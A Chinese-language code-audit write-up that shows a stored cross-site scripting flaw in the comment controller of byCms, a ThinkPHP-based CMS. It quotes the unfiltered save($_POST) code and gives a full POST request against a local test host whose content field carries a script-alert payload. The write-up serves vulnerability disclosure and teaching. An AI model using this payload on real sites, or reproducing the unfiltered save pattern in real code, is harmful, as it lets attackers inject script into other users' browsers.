|
0x00 前言: 首页本地搭建环境,我所使用的是Windows PHPstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换PHP版本。 0x01 CMS简介: byCms是一套简单,易用的内容管理系统,基于thinkphp5.0.9,包含文章,图片,下载,视频模型,旨在帮助开发者节约web应用后台开发时间和精力,以最快的速度开发出高质量的web应用。包含pc端,手机端,微信端,安卓app,苹果app,多端数据同步! 主要特性:基于tp5.0.9,可无缝升级之5.0.10,遵循PSR-2、PSR-4规范,Composer及单元测试,异常严谨的错误检测和安全机制,详细的日志信息,为你的开发保驾护航;减少核心依赖,扩展更灵活、方便,支持命令行指令扩展;出色的性能和REST支持、远程调试,更好的支持API开发;惰性加载,及路由、配置和自动加载的缓存机制;重构的数据库、模型及关联。 0x02 正文: 首先来看看目录结构。 先来打开Index.php看看。看下图可以得知程序目录为:application 来看看前台模板 可以看到有八个控制器。每个控制器代表着一个功能模块。 漏洞所在处(评论功能控制器):/bycms/application/index/controller/Comment.php 漏洞所在行数:24行
<?php
namespace appindexcontroller;
use thinkController;
use thinkDb;
class Comment extends Home{
public function add($id=""){
if(!is_login()){
$this->error("请先登录");
}
$id=input('doc_id');
if(!($id && is_numeric($id))){
$this->error('ID错误!');
}else{
$where["id"]=$id;
}
$info= Db::name('document')->where($where)->find();
if(!$info){
$this->error('文章不存在!');
}
if($_POST){
$Comment = new appindexmodelComment;
$res=$Comment->validate(true)->allowField(true)->save($_POST);
if($res){
Db::name('document')->where($where)->setInc("comments");
$this->success("发布成功!");
}else{
$error=$Comment->getError()?$Comment->getError():"发布失败!";
$this->error($error);
}
}
} 根据上述代码可以看到 22-27行。这一段代码。换成中文来说的大概意思就是: 首先判断$_POST是否有数据传入。之后在24行处的save方法内直接将$_POST传过来的conten参数的数据写进了数据库。并未做任何过滤处理。从而将代码原型直接插入至数据库。 POST数据包: POST /shenji/bycms/index.php/index/comment/add.html HTTP/1.1 Host: 192.168.1.111 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.111/shenji/bycms/index.php/index/article/detail/id/93.html Content-Length: 57 Cookie: PHPSESSID=j6cht7fitg6l4eoajtscmvth56 Connection: close
doc_id=93&content=<script>alert('xss')</script> |